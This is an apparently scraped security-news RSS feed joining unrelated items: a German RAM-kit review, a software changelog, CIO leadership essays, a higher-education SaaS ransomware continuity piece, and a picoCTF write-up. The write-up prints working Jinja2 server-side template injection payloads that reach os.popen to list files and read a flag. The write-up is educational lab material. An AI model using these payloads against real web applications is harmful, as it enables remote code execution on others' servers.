    So viel RAM gab es noch nie in einer HĂśllenmaschine: Dank des Biwin Black Opal OC Lab Gold Edition DW100 192 GB Memory Kit kĂśnnen wir die HMX 6 mit mĂśglichst viel Arbeitsspeicher bei maximalem Tempo ausstatten. Das RAM-Kit besteht aus vier DDR5-Modulen mit je 48 Gigabyte und arbeitet mit einem Speichertakt von 6000 MT/s bei CL28.

    Aufgrund des optimierten EXPO-Profils ist das Speicher-Kit ideal, um aus der AM5-Hauptplatine der HÜllenmaschine das maximale RAM-Tempo bei maximaler Stabilität herauszuholen.

    Fßr eine zuverlässige Signalßbertragung und hohe Stabilität setzt Biwin auf eine zehnlagige Leiterplatte (Printed Circuit Board), die gleichzeitig die Wärmeableitung verbessert. Der integrierte Schaltkreis fßr das Power Management (PMIC) ist entsperrt. Das ermÜglicht umfangreiche Spannungsanpassungen und bietet Overclocking-Enthusiasten zusätzliche Freiheiten bei der Leistungsoptimierung.

    Optisch ßberzeugt das Speicherkit mit einem schwarzen Aluminium-Heatspreader, der durch goldene Akzente ergänzt wird. Eine individuell anpassbare RGB-Beleuchtung mit acht separaten Beleuchtungszonen pro Modul rundet das hochwertige Design ab.

    Biwin Black Opal OC Lab Gold Edition DW100 192 GB Memory Kit : Der RAM der HMX 6
    Rekord: Satte 192 Gigabyte Arbeitsspeicher spendiert Biwin der HĂśllenmaschine HMX 6

    Biwin

    Durch die Kombination aus hoher Speicherkapazität, großer Bandbreite und niedrigen Latenzen beschleunigt das Black-Opal-Kit von Biwin datenintensive Anwendungen spürbar. Auch das parallele Ausführen mehrerer ressourcenhungriger Programme oder das Arbeiten mit umfangreichen Datensätzen stellt für das Speicherkit kein Problem dar.

    Die insgesamt 192 Gigabyte Arbeitsspeicher bieten nicht nur etliche Reserven fĂźrs Gaming, sondern eignen sich auch perfekt fĂźr speicherintensive Workloads wie KI-Entwicklung, 3D-Rendering, Big-Data-Analysen, Virtualisierung oder professionelle Content-Erstellung.

    Auf das RAM-Kit gewährt Biwin eine begrenzte lebenslange Garantie: Sie deckt den gesamten Produktlebenszyklus ab, einschließlich der offiziellen Produktion, der Marktversorgung, der Wartung, der Reparatur und anderer Dienstleistungen, bis zum Ende der Produktlebensdauer. Das Kit ist aktuell nur über Amazon UK für knapp 2500 Euro verfügbar.

    So gewinnen Sie die HMX 6

    Auch dieses Jahr verlosen wir die HĂśllenmaschine unter allen Teilnehmern

    Gewinnen Sie hier die HMX 6

    Wie Sie die HMX 6 verfolgen kĂśnnen

    In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natürlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.

    ]]>         <![CDATA[iOS 27 Introduces RAW 9 for Sharper and Cleaner RAW Photos]]> https://tsecurity.de/de/3650639/ios-mac-os/ios-27-introduces-raw-9-for-sharper-and-cleaner-raw-photos/ https://tsecurity.de/de/3650639/ios-mac-os/ios-27-introduces-raw-9-for-sharper-and-cleaner-raw-photos/ Tue, 07 Jul 2026 08:11:37 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[v1.17.14]]> https://tsecurity.de/de/3649660/downloads/v11714/ https://tsecurity.de/de/3649660/downloads/v11714/ Mon, 06 Jul 2026 21:02:01 +0200 💾 Downloads tsecurity.de Core

    Improvements

    • Added a code mode MCP adapter for running confined orchestration scripts against connected MCP tools.
    • Hid the execute tool unless code mode is enabled.

    Bugfixes

    • Fixed paginated MCP tool catalogs losing tool metadata and output schema validation.
    • Preserved low reasoning effort for OpenRouter small-model variants instead of disabling it.
    • Fixed GitHub Copilot model routing to honor each model's advertised chat or responses endpoint.
    • Fixed session lists to match equivalent instance directories reliably.
    • Fixed Cerebras reasoning replay so earlier assistant reasoning is sent back in the provider-supported field.

    TUI

    Bugfixes

    • Fixed spinner registration so loading indicators keep rendering across TUI surfaces.

    Desktop

    Improvements

    • Show draft server status in the title bar.
    • Unified the provider connect flow across the app.
    • Improved the integrated terminal experience. (@arvsrn)
    • Added reopening for closed tabs and background tab opening. (@usrnk1)
    • Improved model search in picker dialogs. (@arvsrn)
    • Added recently closed projects to Home. (@usrnk1)
    • Made tab navigation respond on mouse down in the new layout.
    • Overhauled the v2 review panel. (@arvsrn)
    • Refined the session tab preview popover. (@usrnk1)

    Bugfixes

    • Fixed new sessions from Home using the wrong project.
    • Fixed first-launch onboarding so it only appears when appropriate.
    • Improved large review pane performance.
    • Fixed timeline loads that started on assistant replies by backfilling the missing user turn.
    • Restored typing in the composer while the window is unfocused.
    • Fixed dropdown search behavior. (@arvsrn)
    • Kept the v2 review pane mounted when switching session tabs.
    • Kept the terminal mounted when switching session tabs in a workspace.
    • Fixed session tab busy indicators to stay scoped to the correct server.
    • Fixed child-session navigation and lineage resolution during tab transitions.
    • Kept desktop window tabs after closing and reopening the app.

    Thank you to 3 community contributors:

    • @usrnk1:
      • feat(desktop): refine session tab preview popover (#34792)
      • feat(desktop): add recently closed projects to home (#34926)
      • feat(desktop): papercut fixes (#34939)
      • feat(desktop): reopen closed tabs and background tab open (#35010)
    • @arvsrn:
      • feat(app): v2 review panel overhaul (#31882)
      • feat(app): align subagent UI with v2 (#34931)
      • feat(app): improvements to model search (#34954)
      • feat(app): dropdown search fix (#34961)
      • feat(app): terminal improvements (#34747)
    • @StarpTech:
      • feat(tui): add debug info dialog with copy to clipboard (#35004)
    ]]>         <![CDATA[Asda’s supply chain woes bring lessons for IT project planning]]> https://tsecurity.de/de/3649199/it-nachrichten/asdas-supply-chain-woes-bring-lessons-for-it-project-planning/ https://tsecurity.de/de/3649199/it-nachrichten/asdas-supply-chain-woes-bring-lessons-for-it-project-planning/ Mon, 06 Jul 2026 17:19:17 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Magnetspeicher mit Licht füllen: Durchbruch bei Antiferromagneten]]> https://tsecurity.de/de/3648862/it-security-nachrichten/magnetspeicher-mit-licht-fuellen-durchbruch-bei-antiferromagneten/ https://tsecurity.de/de/3648862/it-security-nachrichten/magnetspeicher-mit-licht-fuellen-durchbruch-bei-antiferromagneten/ Mon, 06 Jul 2026 15:39:29 +0200 📰 IT Security Nachrichten tsecurity.de Technologie, Energie, Illustration, 3D-Rendering, Magnet, Magnetfeld, Magnetismus, Lichteffekte, magnetisch, Elektromagnetismus, Feldlinien, Digitalkonzept Ein deutsch-japanisches Forscherteam hat einen wichtigen Fortschritt bei der Nutzung von Antiferromagneten erzielt. Der Erfolg kann zu deutlich besseren und vor allem effizienteren Magnet-Speichersystemen führen. (Weiter lesen)]]> <![CDATA[6 new rules of IT leadership — and what they replace]]> https://tsecurity.de/de/3648437/it-nachrichten/6-new-rules-of-it-leadership-and-what-they-replace/ https://tsecurity.de/de/3648437/it-nachrichten/6-new-rules-of-it-leadership-and-what-they-replace/ Mon, 06 Jul 2026 12:18:47 +0200 📰 IT Nachrichten tsecurity.de

    AI is changing how work gets done and who does it — at all levels of the organization.

    That means it’s also changing how executives do their jobs and how they need to lead, as execs are now being asked to use AI to reimagine their organizations and navigate the uncertainties that go with that task.

    CIOs are seeing changes in their role as part of this overall trend, as they gain new responsibilities and face new expectations. Such changes follow a years-long evolution among CIOs, one that has moved the position from one of technology steward to strategic enabler to the visionary leader they must be today.

    Here, veteran CIOs, researchers, and advisers share six new rules of IT leadership along with the old leadership principles they’ve replaced.

    Old Rule: Answer to the CEO
    New Rule: Work with the CEO to create a vision

    For much of corporate history, the CEO determined the organization’s north star, and other executives — including the CIO — devised the plans that would move everything toward the chief executive’s strategic vision.

    “Now the CIO has to be joined at the hip with the CEO to create that vision,” says Sharon Stufflebeme, managing director of CIO solutions at Protiviti.

    “It means having the ability to see the future, to understand how that future is likely to impact your current state and how you bring your current state to the future, to see and anticipate and create a line to what’s reasonably going to happen in the future and how the organization will adjust to it,” she adds.

    “It has always been important, but it wasn’t the top skill that the CIO had to have,” she says. “Now the CIO is the most well-equipped to understand the value that can be got by leveraging new technology, including AI, as well as the costs and the risks, and to create the vision and how to get there.”

    Old rule: Enable business outcomes
    New rule: Architect the business of the future

    Over the past few years, the C-suite has turned to CIOs to educate them on AI and explain how AI can be used to deliver business outcomes. But Allan Tate, executive chair of the MIT Sloan CIO Symposium, says executive leadership teams are now ratcheting up their expectations as they look to their CIOs to rearchitect the organization using artificial intelligence.

    “It’s not, ‘What AI can do?’ now. It’s ‘How do we redesign the organization with AI?’” Tate says. “It’s ‘How do we design our organization to use AI responsibly and effectively.’ That’s what CIOs are moving toward. What we’re seeing is CIOs becoming transformation architects.”

    This will require CIOs to lead through uncertainty and tension, he adds.

    “CIOs need to feel comfortable with uncertainty,” Tate says, noting that CIOs must learn “to frame questions, explore different interpretive lenses for the questions, explore different tensions, and how to blend human and machine intelligence. And CIOs have to help other people get used to uncertainty. They have to understand that there’s not going to be consensus. What they’re faced with is executing better executive judgment under that uncertainty, and they will want to build an environment of trust where employees see that everyone will prosper and not feel threatened.”

    He acknowledges the fear that jobs will disappear as AI increasingly automates work, but CIOs should be helping their executive colleagues think about the possibilities — including new roles — that AI-driven transformation will create.

    “What’s hard is imagining what new work will be created, which has happened in every single tech revolution,” Tate adds.

    Old rule: Fail fast
    New rule: Build the conditions for people to feel safe enough to thrive

    One of tech’s most repeated and least-delivered promises has been given an upgrade due to its own consistent failure. Instead of just jettisoning unpromising projects quickly, IT leaders must no create an environment where failure feels safe enough for employees to establish learnings for dead ends and apply them to scale for speed.

    Brook Colangelo, senior vice president and CIO at Waters Corp., an analytical laboratory instrument and software company, uses a “simple diagnostic” for his global IT organization.

    “In any situation where a team is underperforming or resisting change, I ask which of five psychological needs is under threat — status, certainty, autonomy, relatedness, or fairness — and address it directly and compassionately,” he says.

    He leans on the organization’s culture to accomplish this task. “Waters IT is a team grounded in the neuroscience of motivation and growth. We celebrate our wins, deconstruct our misses, and learn as a team,” Colangelo says.

    He sees the ability to diagnose and address those threats as a core leadership competency for today’s CIO, particularly because “IT organizations are naturally threat-rich environments — even more so with AI.”

    “It took us a while to build this muscle, but we did so through intentional training, and we equipped our people leaders — through the IT Leadership Forum — to role model and recognize these behaviors,” he explains.

    Colangelo credits this investment in team culture for his IT department’s ability to simultaneously lead four high-stakes initiatives: an integration of an acquisition, the onboarding of its global capability center colleagues in India to full-time Waters employees at a 99% acceptance rate, a full transformation of its ERP to S/4HANA, and the secure enablement of its AI transformation across the organization.

    “Each initiative triggers different responses in different people,” Colangelo says. “Having a shared language for those threat signals means we can diagnose what’s slowing us down and address it directly.”

    Old rule: Bring on business experts
    New rule: Be an expert on your business

    CIOs got the message years ago that they couldn’t succeed in their role if they focused only on technology. So they partnered with business colleagues to glean perspectives on the various pain points and problems that stymied business ambitions, and they collaborated with their executive counterparts to understand the goals and objectives of the various functional business areas.

    Now CIOs must make another leap and become more like a COO, where they understand the full scope and scale of operations in their organizations, says Jeff Sturman, managing partner for the IT and digital leadership practice at WittKieffer, a leadership advisory and search firm.

    “CIOs are now sitting at the intersection of all activities — strategic, operations, customer experience. It’s a role that touches every single aspect of the business,” Sturman says. “CIOs still have to be the subject matter expert on technology, security, and now AI; they have to be the smartest person in the room on those subjects, but they now have to also know all the aspects of the organization’s operations, just like the COO, because there’s not a part of the business today that the IT leader doesn’t touch.”

    CIOs in healthcare, for example, must grasp business operations, regulatory requirements, clinical operations, and more, Sturman says.

    He says other members of the C-suite must know the business, too, of course. But with IT leading AI deployments that automate and transform work, CIOs must have a deeper understanding of operations and workflows across the board than many of their executive colleagues.

    Sturman says not all CIOs have that level of knowledge but sees more IT leaders gaining what he calls a “panoramic view of the organization’s operations.”

    Old rule: Have a good grasp on organizational finance
    New rule: Act like a CFO

    Like many CIOs, Marco Bill, senior vice president and CIO at Red Hat, is tackling more financial calculations than ever before as he works to ensure that the company’s cloud and AI spending is efficient by knowing what levers to pull to rein in costs without dinging performance.

    For example, he and his team are analyzing workloads to determine whether it’s most cost effective to run them in the public cloud, run them in a private cloud, or host them in the company’s own data centers. He has squeezed out upwards of $20 million by moving some workloads back on premises, and he has the financial calculations to prove it.

    “And it’s not about doing these calculations just once; it’s doing this continually,” he adds.

    Stufflebeme also sees CIOs delving deeper into financial work with AI initiatives, as CEOs and boards clamor for quantifiable returns for their investments.

    “IT has to have the vision [for the organization to follow] and also the financial acumen to show which investments are going to have an ROI. So it’s now critical for CIOs to understand where the value is going to be and where the costs are,” she adds. “These are skills that CIOs always had to have, but now they’re more crucial because of the impact of AI.”

    Given the challenges of getting an ROI from AI so far — and the growing executive intolerance for failed AI initiatives, Stufflebeme says boards and CEOs want CIOs who “understand how value is being generated, how to quantify that value, and can ensure they achieve that value.”

    That then requires CIOs to know how costs are going to change as agents take the place of certain human activities, she adds, “because agents don’t eliminate costs, but it does change the cost structure. So CIOs have to understand how to calculate the total cost of ownership of these new capabilities. That’s true not only for their own businesses but for their partners, because CIOs have to know the value that they get from their partners is more than the cost they’re paying to them.”

    Old Rule: Expect employees to respond to your leadership style
    New Rule: Adapt your style to the people on your team

    Greg Taffet, managing partner and CIO at strategic tech consultancy Taffet Associates, believes he must adapt his leadership style and how he engages with others in his organization, including those on his team.

    “I have people all over the world, and managing them now is so much more different than when we could meet around the water cooler,” he says.

    Taffet says as a leader he works to understand how and when people want to work — whether they want to be fully remote and work asynchronously, or whether they want to be in the office on a set schedule, or a mix of the two. “Different people have different requirements to be productive, and you cannot have everybody work from home and be productive and you can’t have everyone be as productive as they worked in the office all the time,” he says.

    He also strives to understand any cultural or personal traits that could influence their responsiveness to different leadership approaches and recognize how to draw out the best in each person and advocate for what works for them. Just as schools tailor lessons to students based on whether they’re visual, auditory, or hands-on learners, “that’s what we have to lead now,” he says.

    ]]>         <![CDATA[Playing to win at the AI casino]]> https://tsecurity.de/de/3648396/it-security-nachrichten/playing-to-win-at-the-ai-casino/ https://tsecurity.de/de/3648396/it-security-nachrichten/playing-to-win-at-the-ai-casino/ Mon, 06 Jul 2026 12:08:17 +0200 📰 IT Security Nachrichten tsecurity.de

    Most executives approach AI cautiously, like people trying to stretch one bankroll across an entire night on the casino floor. They spread their chips, hedge every move, celebrate the occasional small win, and tell themselves they played wisely because they didn’t lose much. It feels disciplined and responsible. But in a market shifting this quickly, it can become managed irrelevance.

    The real question is how to win so decisively that the house starts treating you differently, says Nimesh Mehta. As EVP and chief information and strategy officer at National Life Group, one of the nation’s largest life insurers, Mehta sees AI less as a controlled technology program and more as a sequence of bets that reveal how leadership thinks about risk, conviction, and competitive advantage. In his view, the organizations that pull ahead are the ones willing to place smarter, more consequential bets that reshape how the business operates, competes, and grows.

    Stop insuring every move

    Mehta’s framing exposes a trap many leadership teams still don’t recognize. A surprising number of organizations believe they’re being strategic with AI when they’re actually over-insuring every decision. They hedge every initiative, over-govern every experiment, over-analyze every downside, and under-commit to anything that might actually matter.

    As a result, they reduce the upside to the point of insignificance. Mehta argues that many companies insure the bet so thoroughly that even when they win, the upside is negligible and moves are designed to eliminate discomfort, not win.

    That’s what makes the casino analogy useful. In a casino, sitting on your chips can feel safe. In business, that same instinct creates drift. Markets move, competitors learn, and capabilities compound whether you’re ready or not. “Sometimes not betting can, in itself, become a losing strategy,” says Mehta, which strikes the heart of the moment facing CIOs. Waiting may feel like discipline in the short term, but over time it becomes a tax on relevance. The organizations creating separation are those that understand uncertainty, contain it, and move anyway.

    Trade certainty for probability

    The deeper leadership shift Mehta is calling for is about changing the mental model from deterministic thinking to probabilistic thinking. Most enterprises still want AI to behave like a traditional technology investment. If we spend X, we should get Y. If the model isn’t fully accurate, it’s not ready, and if meaningful risk remains, deployment should wait. That logic made sense in a world built on structured systems and predictable workflows. But it becomes far less useful in a world where advantage comes from learning faster than rivals and improving in motion.

    Most organizations still treat AI decisions like fixed equations rather than probabilistic plays, says Mehta. That distinction matters because it changes the questions leaders ask. A deterministic mindset looks at a customer service use case and asks whether the model is accurate enough to be trusted in every case. A probabilistic mindset asks whether the model can handle enough interactions well enough to free human judgment for the moments that matter most. A deterministic leader wants guaranteed ROI before scaling copilots. A probabilistic leader sees that modest improvements, repeated across marketing, operations, distribution, and service, can produce a compounding advantage long before any single use case looks perfect on paper. In that sense, imperfection may be leverage.

    Nobody goes to a casino expecting certainty. The energy comes from reading the table, understanding the odds, and knowing that context changes the right move. AI operates in much the same way. “Leaders don’t need to become reckless gamblers,” says Mehta, “They need to become more fluent in uncertainty, more comfortable making directional decisions, and more disciplined about learning from each hand they play.”

    When you’re holding 17

    Mehta’s blackjack metaphor captures the exact moment where many enterprises stall. With a 17, the dealer will ask if you want to hit or stand. It’s paralyzing, but it’s the position many CIOs are in with AI today. The use case works as it produces value, but it isn’t perfect. The organization can see the upside, but it can still see the gaps, too. So many leaders choose to stand. They wait for better accuracy, cleaner governance, stronger confidence, or a more complete business case. They tell themselves that holding is the responsible move.

    “The real risk, however, isn’t the hit but standing still while the table evolves around you,” says Mehta. That line reframes what prudence means in an AI environment. Hitting means understanding the odds well enough to act, not being careless. It means asking what the downside of moving forward actually is, what guardrails are needed, and what the cost of waiting might be if others are learning faster.

    The strongest leaders understand that a good but not perfect hand can still be the right time to lean in. They know that learning in production, within bounds, often reveals more than another quarter spent polishing the slide deck.

    Bet where the upside compounds

    How should CIOs decide where to place bigger bets? Mehta’s answer is to look for asymmetry, where the upside is meaningfully larger than the downside, where learning compounds even if the first outcome is imperfect, and where speed creates an advantage competitors can’t easily copy. Those are better to address than asking which use cases feel safest. Mehta also emphasizes proximity to the business, arguing that the closer an AI use case sits to revenue, customer experience, or core operations, the more valuable the learning becomes. That’s why some of the most important bets may initially feel uncomfortable. But they matter because they produce insight that isolated pilots never can.

    This isn’t a call for indiscriminate betting, though. Discipline still matters, and not every initiative deserves to scale, and not every model belongs in production. Good leaders know when to leave the table, reallocate chips, and avoid the sunk-cost logic that keeps weaker organizations trapped in bad hands. At National Life, that means thinking about AI as a portfolio of bets — some exploratory ones, some scaled with intent, and all assessed not only on immediate return but on how they expand capabilities. Positioning the enterprise for its next move is an important lesson for CIOs. “The goal isn’t to win every hand, but build a system to place better bets over time,” says Mehta.

    Lessons for CIOs playing to win

    For CIOs, the takeaway is clear. Stop defining success as the absence of loss and define it as the presence of disproportionate upside. Shift your decision model from deterministic certainty to probabilistic advantage. Build a portfolio of bets tied closely to the business with enough governance to manage risk, but not so much that governance becomes an excuse for inaction.

    Know when to press on emerging momentum and walk away from bets that don’t compound value. Most of all, recognize that AI leadership is about demonstrating you can read the table, understand the odds, and move with conviction before the rest of the market catches up, not just proving you can keep the lights on while experimenting at the edges.

    ]]>         <![CDATA[Single points of failure fail. The SaaS layer is not an exception]]> https://tsecurity.de/de/3648395/it-security-nachrichten/single-points-of-failure-fail-the-saas-layer-is-not-an-exception/ https://tsecurity.de/de/3648395/it-security-nachrichten/single-points-of-failure-fail-the-saas-layer-is-not-an-exception/ Mon, 06 Jul 2026 12:08:15 +0200 📰 IT Security Nachrichten tsecurity.de

    Higher education has consolidated its entire academic operation into a handful of massive SaaS platforms. The LMS manages instruction, grading and communication. The SIS owns enrollment, records and financial aid. Identity and productivity live in a small number of cloud providers. These are not peripheral tools — they are the operational infrastructure of the institution. As IT stewards, we manage platforms we do not own, cannot restore ourselves and cannot directly control — which makes contingency planning not optional, but fundamental to the role.

    The contracts are in place. The SLAs are signed. The compliance certifications are current. None of that matters to a student who cannot reach her instructor three days before finals. None of it matters to a faculty member who has no roster, no grade book and no way to document the work his students submitted before the platform went dark. SLAs govern vendor response timelines. Keeping academic operations running during that response window is IT’s responsibility.

    The disruption hit during finals week 2026, and I was doing what every CIO in higher education was doing — monitoring. A major learning management system had been breached. The disruption spread fast. Finals were canceled. Exams were postponed. Students and staff were stranded without access to coursework, rosters or grade books. The costs — in academic disruption, extended contracts, emergency response — were substantial and widely reported. My institution was not directly impacted. But watching peer institutions in my own state go dark during the highest-stakes moment of the academic calendar was not reassuring. It was a confirmation of something I had been thinking about for a long time.

    The disruption proved something IT professionals have relearned in every decade of their careers. Mark Twain observed that history does not repeat itself, but it does rhyme. This is a verse we have heard before: Dependence on a single point of failure, without a tested contingency plan, is not a strategy — it is a risk that has simply not yet been called. Whether the failure comes from a cyberattack, a vendor outage, an infrastructure collapse or a cloud provider’s bad deployment, the result is the same. The institution stops. And no SLA, contract or compliance certification prevents that moment from arriving.

    Vigilance is not optional. Technologies are evolving faster than any IT team can fully anticipate. New platforms, new integrations, new dependencies emerge constantly — and with each one comes a new potential failure point. That is not an argument against adopting new technology. It is an argument for the one principle that never becomes obsolete: Reliance on any single critical system, whether it is a connectivity provider, an identity platform or a SaaS solution, is a proven strategy for failure. The question is never whether that system will fail. The question is whether the institution is prepared when it does.

    Single points of failure fail — inevitably, and at the worst possible time. IT professionals have known this for thirty years. The SaaS layer is not exempt.

    This is not a new lesson. Azure has gone down. AWS has failed. Google Workspace has had outages that took organizations dark globally. No campus runs a single ISP connection — we provision redundant circuits, preferably from independent providers, because we learned long ago that the connection will sometimes fail and the institution cannot afford to stop when it does. Financial services, government and multinational enterprises applied that same logic to every dependency in their stack. Their response to platform risk was not to demand better SLAs. It was to architect around the dependency. Redundancy. Failover. Independent continuity capability. The massive disruptions from Canvas demonstrate that effective contingency solutions for these critical platforms have not kept pace with our dependence on them. We cannot get fooled again.

    That omission is what made the 2026 attack so damaging. Not the sophistication of the breach — the entry point was a peripheral free-tier environment that wasn’t even within the vendor’s primary certification scope. The damage was catastrophic because institutions had no fallback. Faculty had no rosters. Administrators had no enrollment data. There was no continuity layer. A single point of failure, at institutional scale, with no plan for when it fails.

    And now the economics have shifted in the worst possible direction. PowerSchool paid a ransom in December 2024 after attackers stole data on 60 million students — and was re-extorted anyway, with individual school districts receiving separate demands months later using the same stolen data. Instructure’s CEO publicly confirmed the extortion payment. Anyone who has paid a ransom only to be hit a second time at double the cost can tell you — paying the attackers resolves nothing and instead invites more attacks. The sector has now proven twice, publicly, and at scale, that it will pay. That changes the threat calculus entirely. Higher education stops being a target of opportunity and becomes a target of strategy. Criminal groups share that intelligence. Banner serves over 1,400 institutions. Blackboard reaches tens of millions of users across thousands of campuses. Every major higher education SaaS platform is now on active threat actor priority lists — not because they are newly vulnerable, but because the sector has proven it will pay, that academic calendar pressure creates maximum leverage, and that IT has not yet built the operational alternative that our dependence on these platforms demands — and therefore the failure is ours to own, especially if we allow it to happen a second time.

    The sector has proven it will pay. Every ransomware group operating today just received the same market signal. What follows is not unpredictable — it is documented, underway and aimed directly at the platforms carrying your institution’s academic operations.

    As a CIO, my approach to this is not a spreadsheet or a stack of printed reports. IT is responsible for identifying critical failure points and countering them — that is not optional; it is the job. Accepting failure as inevitable without a mitigation strategy is not viable. Redundancy and continuity solutions are standard practice everywhere else in our infrastructure. There was no reason the SaaS layer should be different.

    A leader’s first job isn’t to be right — it’s to be responsible.

    The solution I implemented is a secure, read-only, centralized repository — a continuity strategy that ensures students, staff and faculty can continue to function whether the issue is a power outage, a cyberattack or a SaaS platform going dark. It is not a replacement for Canvas or Banner. It is the independent fallback that allows the institution to keep operating while the primary system is restored. I have learned the hard way that accepting failure without a plan is not a posture any CIO can defend.

    Watching the frustration across the industry during and after the 2026 attack — institutions paralyzed, peer CIOs improvising, faculty working from personal spreadsheets, boards asking questions no one could answer — the logic of extending this capability to other institutions became unavoidable. The solution is not complex. The architecture is straightforward. The discipline behind it is thirty years old. The discipline is established. The responsibility to apply it is our field of expertise in IT.

    To be precise about scope: An ACR does not prevent vendor breaches, replace cyber insurance or remove notification obligations. When an incident hits, legal counsel, security teams and institutional leadership still manage the response. What the ACR changes is what they have to work with — a governed, auditable record of what data was accessed, what manual actions were taken and how operations continued while the vendor worked to restore service.

    Redundancy, disaster recovery, continuity of operations — the discipline is not new. The SaaS platforms carrying academic operations deserve the same standard we hold everywhere else.

    The solution to this problem exists. A SaaS third-party continuity of operations strategy requires an independent data layer — one the institution controls, synchronized on a regular scheduled cycle from source systems, and accessible when those systems are not. Platform-agnostic across Canvas, Banner, Blackboard and PowerSchool. Read-only by design. Auditable by requirement. Independent by architecture. That last word is the one that matters — independent of the platforms whose availability you cannot guarantee.

    Every CIO in higher education knows what a single point of failure looks like. Every one of us has built around them at every other layer. Servers, networks, data centers — we do not accept the single-point risk, and we do not wait for the failure to motivate the fix. The SaaS layer is not an exception.

    The question is not whether your institution will face it. The question is whether you will have a continuity strategy in place when it arrives — or be explaining to your board why you did not.

    Leaders don’t rent accountability — they own it outright.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[PicoCTF Web Exploitation Easy Category Web Challenge [SSTL 1]]]> https://tsecurity.de/de/3647971/hacking/picoctf-web-exploitation-easy-category-web-challenge-sstl-1/ https://tsecurity.de/de/3647971/hacking/picoctf-web-exploitation-easy-category-web-challenge-sstl-1/ Mon, 06 Jul 2026 08:53:07 +0200 🕵️ Hacking tsecurity.de
    Photo by Alexandre Debiève on Unsplash
    • Challenge Statement :- I made a cool website where you can announce whatever you want! Try it out. Additional details will be available after launching your challenge instance .
    • Now here in this website we have to make the announcements and then observe the response . So from the challenge we have known that here we have to implement the Server Side Template Injection .
    Challenge Photo
    • Templates :- This are the files that enables the the developers to generate the dynamic web pages by placing the placeholders for the variables. Because other wise this would become a manual tedious job for them to update the variable for each user. This is done automatically by the template engine .
    • Server Side Template Injection :- This is the type of injection that occurs in the templates when it does not properly validate the user input and sometimes also executes the user instructions in some of the cases . For example in the image below .
    Example
    • Now what happens is that it becomes dangerous because it allows for the remote code execution, access to the configurations objects, secret keys and system internals and etc .
    • So first in the challenge we will start by checking that which of the template is being used in this challenge and then we will construct our payload . So we will give the inputs like {{ 8*8 }}, ${ 8*8 } and then notice where does it gives the answer .
    • Checking for {{ 8*8 }}
    {{ 8* 8 }}
    • So in this we got the output . Let’s Try Others As Well .
    As it is Output for Others
    • So we saw that in other cases we did not get the result it just produced the as it is input. So know we have known that this template executes the instructions inside the {{variable }} .
    • So below in the image i have attached the some of the types of templates with their supported formats and the languages.
    Template Types
    • So from this we can get the idea that the template in our webpage can be the Jinja2, Handlebar, Twig. So first we test for the Jinja2 by inserting the {{ config }}, {{ self }} etc .
    {{ config }} and{{ self }}
    • And yes we got he valid output for the {{ self }} and {{ config }} and this confirms the Jinja2 template so now before seeing to the final payload we must first understand some of the import functions, dictionaries, objects, commands to fully understand the final payloads .
    • {{ config }} :- This is flask configuration object which contains the configuration files information, secret keys, database urls, settings, session configurations. Below we have tried for the {{ config }}, {{ config.items }}, {{ config.__class__.__init__.__globals__ }} .
    {{ config }}, {{ config.items }}, {{ config.__class__.__init__.__globals__ }}
    • {{ request }} :- It is the flask request object which represents the current HTTP request . Here we have checked for the {{ request.application }}, {{ request.method }}, {{ request.url }}, {{ request.headers }} .
    { request.application }}, {{ request.method }}, {{ request.url }}, {{ request.headers }}
    • {{ self }} :- This is the template reference object which sometimes information about the system internals. Generally we test for the {{ self }}, {{ self.__init__.__globals__ }} .
    {{ self.__init__.__globals__ }}
    • {{__init__}} :- This is the constructor method object .
    • {{__globals__}} :- This is the dictionary of the every object which contains all the global variables, built in preferences, tools, libraries, functions .
    • {{__import__(’os’) }} :- This function is executed when we write the import os in the code .
    • popen(’ls’).read() :- This is used for the execution of the command on the system and read() is used for the human readable text produced otherwise we will get the object reference output .
    • {{__builtins__}} :- This contains the various libraries and functions like import, open, exec, eval and etc .
    • So we have understood the all the necessary concepts now we have used the 4 types of payload that would give us the flag. The above explanation will help to connect each every component of payload that why we wrote this object, library in this. So here are they :-

    {{ self.__init__.__globals__.__builtins__.__import__(’os’).popen(’ls’).read() }}

    {{ self.__init__.__globals__.__builtins__.open(’flag’) }}

    {{ request.application.__globals__.__builtins__.__import__(’os’).popen(’ls’).read() }}

    {{ config.__class__.__init__.__globals__[’os’].popen(’cat flag’).read() }}

    Flag
    • Learning of the concepts of from this writeup :-
    • Template and Template Meaning .
    • Server Side Template Injection Meaning .
    • Jinja2, Handlebar, Freemaker, Twig, Smarty, ERB Templates and Their Formats .
    • {{ config }}, {{ request }}, {{ self }}.
    • popen, read, init, globals, import functions and dictionaries .

    Final Takeway

    Easy challenges are not about “easy flags”. They are about building the foundation for harder ones .

    This SSTI challenge was not just about typing {{ 8*8 }} and seeing 64.

    It was about training your brain to:

    a. Identify template engines instead of guessing blindly.

    b. Test payload patterns methodically.

    c. Understand why {{ }} works but ${ } doesn’t.

    d. Explore objects like config, request, and self with intent.

    e. Trace how __init__, __globals__, and __builtins__ connect internally.

    Most people stop when they get code execution. But the real learning starts when you ask:

    Why did this payload work?

    How did it reach the os module?

    What object chain allowed access to system commands?

    How does Jinja2 expose Python internals?

    It is about understanding how templating engines process input. It is about understanding how templating engines process input. How objects are structured in memory. How Python exposes global namespaces. How unsafe rendering turns logic into execution.

    If you only copy-paste payloads, you will solve easy challenges. If you understand the object traversal path, you will solve the hard ones. CTFs are not about the flag. They are about learning how applications actually break.

    Go deeper than the payload. Go deeper than the writeup. Go deeper than the solution.

    More templates. More internals. More real exploitation.

    Happy Hacking.

    Photo by Clark Tibbs on Unsplash

    PicoCTF Web Exploitation Easy Category Web Challenge [SSTL 1] was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[How I Found a Critical OAuth Misconfiguration That Led to Account Takeover]]> https://tsecurity.de/de/3647968/hacking/how-i-found-a-critical-oauth-misconfiguration-that-led-to-account-takeover/ https://tsecurity.de/de/3647968/hacking/how-i-found-a-critical-oauth-misconfiguration-that-led-to-account-takeover/ Mon, 06 Jul 2026 08:53:03 +0200 🕵️ Hacking tsecurity.de A bug bounty story about OAuth, PKCE, open client registration, and how multiple low-level issues chained together into a critical account takeover vulnerability.

